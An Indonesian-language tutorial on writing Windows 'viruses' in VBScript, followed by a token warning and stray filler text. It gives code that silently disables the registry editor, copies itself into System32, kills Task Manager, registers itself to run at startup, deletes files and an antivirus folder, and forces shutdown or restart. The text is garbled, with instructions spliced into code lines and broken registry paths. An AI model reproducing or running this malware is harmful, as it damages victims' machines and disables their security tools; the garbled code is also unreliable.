1.Masuk Notepad kemudian tulis script di bawah ini :
On Error Resume Next(perintah ini digunakan pada file vb2.save dengan nama yang kmska.vbs
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\poli cies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide
sebenarnya banyak cara untuk mendisable regedit. misalnya kayak gini:
CreateObject("WScript.Shell").regwriteHKEY_CURRENT _USER\software\microsoft\windows\currentversion\po licies\systemdisableregistrytools", 1, "REG_DWORD"
2.Membuat Virus yang Dapat Mengopykan Diri Ke Derektory Lain
1.Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("Scripting.FileSystemObject").2.simpan dengan nama yg km ska.vbs
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfil e wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary
3.Membuat Virus Pembunuh Proses
1.Masuk Notepad kemudian tulis script di bawah ini :
misalnya kita akan membunuh proses taskmanager
On Error Resume Next2.save eksistensinya vbs
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide
4.Menjalankan Virus Pada Saat Startup Atau Saat Windows Dihidupkan
1.On Error Resume Next
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\Curr entVersion\Run\virus"2.simpan dalam bentuk eksistensi reg(caranya sma ama vbs)
, "c:\windows\system32\virus.vbs"
(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)
5.Membuat Virus Yang Dapat Menghapus File/Folder
1.Masuk Notepad kemudian tulis script di bawah ini, agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini:
On Error Resume Next2.Simpan script tersebut dalam bentuk file.vbs, misal: virusdeleted.vbs
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)
Contoh :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe”
hapus.DeleteFolder “C:\antivirus”
6.Membuat Virus Yang Dapat Merestart Windows
1.Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide2.Simpan script tersebut dalam bentuk file.vbs, misal: virusrestart.vbs
merestart windows dalam waktu 60 sekon
7.Membuat Virus Yang Dapat Men-Shutdown Dan Merestart Windows
1.Masuk Notepad kemudian tulis script di bawah ini :
CreateObject("WScript.Shell").run "shutdown -s -f -t 60", vbhide2.Simpan script tersebut dalam bentuk file.vbs, misal : virusshutdown.vbs
Mematikan windows dalam waktu 60 sekon
“shutdown -s -f -t 60"
S = untuk shutdown dan
R = untuk reboot\restart
WARNING!
INI HANYA UNTUK MENAMBAH PENGETAHUAN SAJA BUKAN BUAT ISENG DAN JANGAN SEKALI SEKALI KALIAN COBA PADA LAPTOP/PC KALIAN
This is dummy text. It is not meant to be read. Accordingly, it is difficult to figure out when to end it. But then, this is dummy text. It is not meant to be read. Period.